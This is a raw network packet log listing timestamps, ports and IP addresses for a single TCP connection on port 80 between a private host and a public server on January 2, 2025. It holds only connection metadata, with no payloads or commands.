Jan 2, 2025 20:20:00.476377010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.476391077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.476401091 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.476402044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.476416111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.476428032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.476438999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.476459980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.476464033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.476474047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.476485968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.476497889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.476510048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.476522923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.476533890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.476533890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.476562977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.476596117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.476975918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.476994991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477009058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477020979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477035046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477047920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477054119 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.477070093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477076054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.477083921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477097034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477104902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.477109909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477123976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.477174997 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.477304935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477324009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477336884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477413893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477426052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477437019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477449894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477453947 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.477453947 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.477464914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477469921 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.477477074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477488995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477502108 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.477515936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477529049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477538109 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.477540016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477555037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477566957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477579117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477591038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477597952 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.477597952 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.477603912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477622986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477636099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.477664948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.477664948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.477664948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.477710009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.478034973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478111029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.478121042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478133917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478147984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478158951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478168964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478174925 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.478183031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478204012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.478240013 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.478272915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478286028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478301048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478312969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478326082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478338957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478341103 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.478353024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478364944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478367090 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.478398085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.478404045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478411913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.478420019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478434086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478446007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478467941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478475094 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.478475094 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.478482962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478497028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478502989 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.478508949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478523016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478535891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.478537083 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.478586912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.478586912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.479037046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.479049921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.479068995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.479079962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.479093075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.479104996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.479121923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.479125023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.479161024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.479161024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.479185104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.479193926 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.479196072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.479240894 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.518186092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.518198967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.518210888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.518224955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.518270969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.518287897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.518296957 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.518301964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.518312931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.518399954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.518399954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.566241980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566267014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566281080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566292048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566319942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566330910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566337109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566345930 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.566351891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566360950 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.566365004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566378117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566406012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566416025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.566428900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566442013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566454887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566462994 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.566462994 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.566469908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566483974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566495895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566507101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.566524029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.566565990 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.566582918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566593885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566606998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566658020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.566663980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566677094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566688061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566699982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566709995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.566709995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.566746950 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.566785097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566797018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566808939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566819906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566832066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566845894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566859007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566869974 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.566869974 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.566899061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.566917896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.566970110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.566992044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567004919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567015886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567028999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567039967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567053080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567059040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567059040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567059040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567066908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567085028 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567121983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567147970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567174911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567193985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567199945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567207098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567223072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567234993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567243099 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567243099 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567267895 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567353010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567373037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567385912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567398071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567409039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567411900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567411900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567430019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567450047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567452908 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567461967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567462921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567476988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567490101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567500114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567502975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567516088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567528009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567539930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567559004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567559004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567559004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567605019 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567796946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567810059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567821980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567835093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567846060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567857027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567881107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567888021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567888021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567893028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567905903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567917109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567934036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567950964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567955017 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567955971 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567964077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567976952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567982912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.567990065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.567996025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.568003893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568017006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568031073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568044901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568053007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.568056107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568101883 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.568101883 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.568412066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568429947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568443060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568454981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568466902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568486929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568496943 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.568496943 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.568501949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568515062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568527937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568540096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568547964 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.568552971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568567038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568578959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568589926 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.568589926 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.568593025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568603992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.568608046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568619967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568633080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568640947 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.568645000 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568658113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568669081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568684101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.568684101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.568690062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568697929 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.568758011 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.568922043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568933964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568944931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568957090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568969965 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568983078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.568994999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.569030046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.569030046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.569030046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.569063902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.609555960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.609570980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.609594107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.609611034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.609625101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.609637022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.609651089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.609663010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.609674931 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.609741926 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.669461012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.669486046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.669497967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.669531107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.669557095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.669568062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.669589043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.669601917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.669615984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.669626951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.669640064 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.669665098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.669677973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.669684887 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.669697046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.669698954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.669715881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.669734955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.669745922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.669756889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.669764042 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.669768095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.669785976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.669806004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.669806004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.669856071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.669867992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.669959068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.669970036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.669987917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670006037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670017958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670028925 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.670030117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670042038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.670053005 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.670054913 CET	80	49704	47.254.187.72	192.168.2.8
